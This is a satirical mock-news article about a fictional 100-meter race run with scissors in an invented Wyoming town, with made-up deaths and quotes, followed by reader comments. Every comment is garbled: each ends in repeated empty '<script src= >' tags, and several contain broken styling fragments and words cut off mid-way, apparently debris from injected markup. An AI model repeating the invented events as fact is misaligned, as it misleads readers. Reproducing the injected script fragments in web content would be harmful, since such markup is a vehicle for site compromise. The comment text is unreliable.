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Tragedy Strikes at the 100-Meter Scissor Run
by Kris on 7/13/2004 (7)

This is just another example of why running with scissors could be a bad idea.
In an effort to steal the spotlight from the upcoming Summer Olympics, the small town of Norfolk, Wyoming has decided to hold their own variation, known as the Norfolk Games. Unfortunately, after one set of qualifying races took the lives of four individuals and left another nine injured, the future of this new event is now in question.

“It was a horrible tragedy, completely unexpected and completely unavoidable,” said Norfolk Games chairman Ted Washington. “It’s just proof that no matter how many safety precautions you take, bad things can still happen.”

The Norfolk Games began with the 100-meter scissor run, a definite fan favorite. This event featured three heats of six runners each. All the runners carried a set of razor sharp scissors in each hand and had their shoes tied together. The objective of this race was to finish the 100-meters in the fastest time possible.

“The race was well planned out, and each of our runners had knee and elbow pads, to avoid injuries,” said Washington. “Unfortunately, thing started bad in the first heat and only escalated from there.”

The starting gun fired and the racers were off. After only approximately ten meters of racing, the first injury occurred.

“It was a horrible pain, like someone had stabbed me with a pair of scissors,” said Jon Lipton. Lipton tripped, later blaming it on either his tied shoelaces or the various trip wires that lined the track, and came crashing down upon his own scissors, puncturing a lung and kidney and ending his dreams of winning a Golden Wallaby.

“I’ll be back next year,” said Lipton, never one to let circumstances get him down. “Scissor related injuries proved to be my cruel mistress this year, but I will be ready for her razor sharp vengeance next year.”

As the race progressed, more and more runners fell and more and more blood stained the track. Out of the first heat, only two runners finished, and one of those two died shortly afterward from injuries resulting from the race.

The next heat saw four racers voluntarily remove themselves from the event. The other two were removed on stretchers. The final heat of the day saw another two voluntary removals followed by three leaving on stretchers or gurneys.

The top two finishers from each heat were scheduled to compete at the Norfolk Games, providing for a total of six racers. Due to injuries though, only two competitors finished and lived. Both declined to compete in the finals, citing an undeniable urge to “not die”.

"It was a horrible tragedy, completely unexpected and completely unavoidable. It’s just proof that no matter how many safety precautions you take, bad things can still happen."
- Ted Washington, Norfolk Games Chairman and avid POG collector.
As a result of this first qualifying event

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1. by Hair Trigger on 3/1/2007 4:52:29 PM
I have lived in Wyoming for 44 years, there is NO town called "Norfolk" the story is completely BOGUS </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
2. by Kris on 3/1/2007 4:52:29 PM
The names, places, and events were changed to protect the inocent. </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
3. by nick on 3/1/2007 4:52:29 PM
amazingisplay:none"></i </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
4. by me on 3/1/2007 4:52:29 PM
that is totally not true..."0" styl </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
5. by bye(WHAT AN AMAZING NAME!!!) on 3/1/2007 4:52:29 PM
I WILL SO PARTICIPATE IF YOU COME UP TO CANADA!!! PRIME MINISTER ESKIMO AND PREMIER PENGUIN WERE DISCUSING IT TODAY TO THE TOWN!! I MEAN COUNTRY!!!!h="0" </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
6. by Jester on 3/1/2007 4:52:29 PM
Complete bullshit, just like every other story on this website.go. </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
7. by Back Again on 3/1/2007 4:52:29 PM
Any one who's a "Weird Al" Yankovic fan knows that the picture is cropped from "Weird Al"'s 1999 album, "Running With Scissors"!! Sheesh, obviously it's not real, but you guys are party pooperstp: </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>

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